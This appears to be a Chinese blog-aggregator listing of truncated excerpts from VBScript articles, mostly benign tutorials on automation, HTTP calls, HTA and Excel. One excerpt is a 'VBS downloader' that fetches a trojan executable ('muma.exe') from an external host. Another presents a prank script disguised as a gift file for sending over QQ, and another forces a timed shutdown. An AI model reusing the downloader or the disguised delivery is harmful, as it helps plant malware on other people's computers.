最近新加入,把自己一些有意思的小东西分享给大家,我是一个学生,代码写得少,哪里不规范,希望大家见谅. 这事我封装好的一个类,可以直接实例化对象之后,调用"对象.Talk()"方法,让机器读出你传递进去的字符串. 这个程序原理很简单,就是创建文件读写流,在D:\Alarm下创建一个sys.vbs文件,里面写入CreateObject("SAPI.SpVoice").Speak "你的字符串",然后执行这个vbs,就可以让你的电脑发声啦,听说Wind…

在项目中需要在一定条件满足时,保存一些数据到数据库中,并可根据条件查询.考虑到WinCC6.2以后采用的就是SQL Server2005数据库,所以直接利用该数据库即可,通过SQL Server Management Studio(SSMS)可以创建自己的数据库,并安要求创建好表. 一.数据库连接 在SQL Server Management Studio(SSMS)中创建名为evcp的数据库,再创建名为evcp的表,然后根据需要创建Columns,在本项目中创建了norder(流水号).pil…

使用vbs脚本进行批量编码转换 最近需要使用SourceInsight查看分析在Linux系统下开发的项目代码,我们知道Linux系统中文本文件默认编码格式是UTF-8,而Windows中文系统中的默认编码格式是Gb2312.系统内的编码格式有所区别倒无伤大雅,关键的是SourceInsight竟不支持UTF-8,导致项目代码内的中文注释全部乱码! 既然SourceInsight不支持UTF-8编码的文件,那我们就得想办法将UTF-8的代码文件转化为GB2312编码的.首先想到的是到网上搜一下“…

Dim vbs1 'set vbs1 = WScript.CreateObject("WScript.Shell") set vbs1 = WScript.CreateObject("SAPI.SpVoice") '语言的改变 在 Win+R中 输入 sapi.cpl 那里有 如 Microsoft Lili 的显示 ) vbs1.Rate = '速度-10,10 vbs1.Volume= '音量 0,100 vbs1.Speak "wjshan0808&…

1.概述 Windows Script Host除了提供一个对象模型之外,还提供了一种脚本框架,这就是WSF脚本.通过WSF约定的标记元素,可以将多种脚本语言写的代码块组合起来,完成任务.除此之外,还可以实现一些DOS没有的命令功能,通过CScript xxx.wsf /?来查看帮助文档,帮助文档由WSF声明并由解释器动态生成完整的文档.再联合使用WshEnvironment对象,即可对DOS命令,随心所欲的提供增量功能实现了. 2.WSF标记 元素 语法 属性 备注 <?job?> <…

1.概述 HTA全称Html Application,在Windows中由mshta.exe加载执行,是一种本地程序.可使用html元素来构建界面,用JS或VBS来构建执行逻辑,从而强化Windows脚本的交互能力与友好性.只要将Html文件扩展名改为.hta即可将html当做一个hta程序来运行. 2.<HTA:APPLICATION>元素 <HTA:APPLICATION>元素必须全大写,其中的APPLICATION不可少:它拥有一些属性[它们是只读的],用以来控制HTA进程和…

vbs 字符串包含中文字符,文件以UTF-8无BOM格式保存,就会出现“编译器错误: 未结束的字符串常量”错误,改以ANSI保存就没有这个问题…

回想90年代,我们在DOS下使用各种命令链对操作进行简化和自动化,如DOS 5.0添加的DosKey,利用管道和重定向对多组命令进行链式操作.后来使用了Ubuntu和其它Linux发型版后,bash下对命令的链式操作则更加强大,并可以和其它编程语言协作,不过复杂度也有所提升.现在Windows下利用自带的bat/vbs也可以满足大多数简化操作的需求,虽然这些技巧大多是10-20年前的老古董了. 快捷键 把常用程序的快捷方式拖到开始菜单目录下,添加快捷键,Ctrl+Alt+* 呼出. 为bat添加…

WScript.exe : 窗口中运行CScript.exe :命令行中运行 用法:<CScript|WScript> scriptname.extension [option...] [arguments...] 选项: //B 批模式:不显示脚本错误及提示信息 //D 启用 Active Debugging //E:engine 使用执行脚本的引擎 //H:CScript 将默认的脚本宿主改为 CScript.exe //H:WScript 将默认的脚本宿主改为 WScript.exe (…

公司每天要求早晚打卡,方式是登录某一个页面,然后点击上面的圈圈,如下图: 每天都要打开书签,登录这个页面,然后打卡...这么重复性的工作,怎么能是程序员天天干的事情呢(其实是我太懒了),那么就尝试让程序来解决吧! 最开始想的是用python,然后深入想了一下之后发现本人学艺不精,涉及到urllib的东西一大堆,完全不想去研究,毕竟我只是想打个卡啊!接下来又想到了cmd,尝试了一下可以用批处理打开浏览器并进入到打卡的页面,但是接下来怎么点击中间的那个ball呢?谷歌了一上午,没啥发现,倒是无意中在…

去了一趟学校打印店,用优盘copy打印了点东西,当时在打印店电脑里打开优盘的时候里面就变成了快捷方式,但没怎么在意.回来之后在自己电脑上居然也这样了.网上一搜是中了crack.vbs病毒了.格式化优盘依然不管用,病毒一直在复制.删了依然有. 在看了一个这个链接之后,我尝试在进程管理器查找是否真有wscript.exe正在执行,结果真有,结束进程后,优盘中隐藏的crack.vbs文件终于显现,然后彻底删掉它.重新用杀毒软件或者安全软件扫描下优盘.ok,终于解决了.…

工程中具有导入Excel数据的功能,但是需要满足一定的格式.为了在导入之前,对Excel的格式进行规范,对vbs脚本语言进行了一定的了解,并实现了一个可以将Excel全部单元格设为文本格式的vbs脚本.具体内容如下: Set args = WScript.ArgumentsPath = WScript.Arguments(0)Set ExcelApp = CreateObject("Excel.Application") Set ExcelBook = ExcelApp.Workboo…

本文还是折腾安装包期间衍生出来的产物. 我那安装包在安装期间有这个动作: - 让用户填写一些信息,待安装完成后把这些信息写入软件安装目录中的指定ini.xml文件中 上文说的是如何用vbs写ini,ini搞完了,这下搞xml.本来借助xml完善的DOM实现,包括vbs在内的大多数语言操作xml都很容易,调用Microsoft.XMLDOM对象即可,比如: Dim doc Set doc = CreateObject("Microsoft.XMLDOM") doc.load("…

这两天在折腾给一个项目打安装包,第一次接触软件打包,用的Advanced Installer(以下简称AI),应该说如果安装过程没有特殊动作(常规动作指释放文件.写注册表.建快捷方式等)的话,倒挺傻瓜的,按照向导和界面操作就能打好一个包.但我的安装动作包括: - 提供一个ComboBox列出已安装打印机让用户选择 - 让用户填写一些初始参数并在安装完成后把这些参数写入安装目录中的指定ini和xml文件中 第一个需求就折腾了我大半天,难点在于动态填充ComboBox项,资料和文档不好找,又是E文,…

背景: 近期帮一个公司做第三方API的二次封装,需要部署到该公司网站.所获取的是Json数据格式.由于该公司原系统采用的ASP+VBS技术方案,因此采用VBS对API进行请求.封装. 实现: 废话不多说,直接上代码.由于某些原因,不能将所有代码贴出来,有问题的可以留言. <!--#include file="LibJson.asp"--> <script Language="jscript" runat="server">…

其使用格式为: object.SendKeys string "object":表示WshShell对象 "string":表示要发送的按键指令字符串,需要放在英文双引号中. 1.基本键 一般来说,要发送的按键指令都可以直接用该按键字符本身来表示,例如要发送字母"x",使用 WshShell.SendKeys "x" 即可. 也可直接发送多个按键指令,只需要将按键字符按顺序排列在一起即可.例如,要发送按键"cfan&…

get请求 模拟发送http请求到百度Dim httpSet http = CreateObject("Msxml2.ServerXMLHTTP")http.open "GET",http://www.baidu.com, Falsehttp.sendmsgbox http.statusmsgbox http.responsetext post请求 set Http=createobject("MSXML2.XMLHTTP")Http.Open…

一．QTP调用外部VBS的方法 加到QTP的Resource中 在QTP菜单中设置, 菜单FileàSettingsàResource,将要加载的VB脚本添加进来. 举例: 步骤1:在D盘下新建一个VBS文件,叫" test.vbs",脚本内容如下: Function fun(a, b) fun=a+b End Function 步骤2:在QTP 里新建一个Test, 叫"Test1",点击菜单FileàSettingsàResource,将要加载的VB脚本&quo…

往事不堪回首,折腾了个把月的老系统,心中郁结,不吐不快.系统架构是ASP +VBS +VB6.0 + SQL Server2000, 第一个版本开发完成大概是在2000年.基本是处于交接无力,看代码就如同走迷宫的节奏.不过我觉得第一批开发人员应该可以自傲了,它们做的系统这么多年过去了居然还活着. 为了对得起这几天死掉的脑细胞,就权且在这里留下它们阵亡的痕迹. 变量的声明 VB6.0: Dim x as integer VBS: Dim x 同样的功能,由于代码太过Dirty,有部分模块写在了AS…

一.VBS下载者: Set Post = CreateObject("Msxml2.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://www.03389.com/muma.exe",0 Post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode…

练习题: 1.输入3个数,输出其中最大的那个值. Option Explicit Dim intA,intB,intC intA=CInt(InputBox("请输入a:")) intB=CInt(InputBox("请输入b:")) intC=CInt(InputBox("请输入c:")) If intA>intB And intA>intC Then MsgBox "最大值是:"&intA ElseIf…

1.helloworld Dim helloworld helloworld = "QTP自动化测试技术导航" mxgbox helloworld   2.显示申明变量 Option Explicit     '显示申明变量 Dim helloworld helloworld = 'QTP自动化测试技术导航" msgbox helloworld   申明显示的优点 : 1.是脚本编写人员的良好习惯 2.减少错误发生,提高效率,大型项目更加显著 3.减少资源的占用 4.代码提示…

在网上查找资料的时候发现好多经典的vbs代码收集起来也为了以后学习. VBS播放音乐 Dim wmp Set wmp = CreateObject("WMPlayer.OCX") wmp.openState wmp.URL = "想象之中.mp3" Do Until wmp.playState = 1 WScript.Sleep 1000 Loop 比较流行的VBS整人脚本(保存为“礼物.VBE”这样就可以通过QQ发送了) Set shell=CreateObje…

定义一个数组: dim a(3).这里要注意在VBS里面数组不像其他的例如C,C#,JAVA等数组用[]作为数组标志.VBS采用的是().还需要注意的是,这里定义的数组包含a(0),a(1),a(2),a(3) 数组赋值: 1.数组每个元素一一赋值 a(0)="a" a(1)="b" a(2)="c" a(3)="d" 2.使用array dim a a=array("a","b",&q…

由于一些需要,开始学习VBS了.此篇文章一直将处于编辑添加状态. 1.VBS简介 VBS 即VBScript(Microsoft Visual Basic Script Editon),是微软开发的一套脚本语言.其详细介绍,网上可以找到很多资料.直接开始学习语言的各种特性吧. 2.VBS的编辑工具. 可以直接使用电脑自带的记事本.编辑完成后将文件后缀名改为.vbs,保存后,直接双击文件即可运行. 3.基本语法介绍 一定得注意的是VBS是不区分字母大小写的,msgbox()与MsgBox()表示的…

在桌面版的主机上远程管理服务器版主机,在本地powershell中连接远程主机执行vbs脚本,得到执行结果. 执行步骤: 1.将本地主机上的Hyper.vbs复制到远程连接主机上.例如,本地vbs脚本复制到远程连接主机(192.168.12.17)的c盘: copy-item –Path c:\hyper.vbs –Destination \\192.168.12.17\c$\hyper.vbs -recurse 2. 定义会话,请使用new-pssession命令定义会话: $session1…

1.  msgbox语法:msgbox "对话框","对话框标题" 例:const hw="Hello World!" msgbox(hw) 2.  Dim 定义变量,vbs只有一种变量,所以不用声明变量. 3.  Inputbox("对话框内容","对话框标题") 例:Dim name name=Inputbox("请输入您的名字","名称") Msgbox  na…

'设置剪切板的内容 Dim Form, TextBox Set Form = CreateObject("Forms.Form.1") Set TextBox = Form.Controls.Add("Forms.TextBox.1").Object TextBox.MultiLine = True TextBox.Text = "忘记了,喜欢一个人的感觉" TextBox.SelStart = 0 TextBox.SelLength = Tex…

一.Natalia.bat 双击这个文件可以运行Natalia 控制台在打开后会变成最小化,标题为PowerAssistant,黑色背景淡绿色文字 运行脚本Natalia.vbs @ECHO OFF REM 脚本最小化运行. IF "%1" == "m" GOTO BEGIN MSHTA VBScript:)(Window.Close)&&EXIT :BEGIN REM 注释最后一定要跟一个解释器可识别半角字符,否则脚本会运行错误. REM 设置命令…

一.关于脚本 1)本文中的脚本完成以下功能: 随机生成3道二位数加法题,如果答题错误则在60秒后关机. 如果全答对了,也会在60后关机,但脚本会提示解除定时关机的办法 2)在脚本运行过程中,退出本脚本的方法为: 在任务管理器中找到wscript.exe,选择结束进程即可(如下图) 3)如果已经进入了关机倒计时读秒阶段,打开命令提示符输入下面命令即可结束倒计时: shutdown -a 二.VBS脚本 'Version: 1.0.20140819.1 On Error Resume Next '出…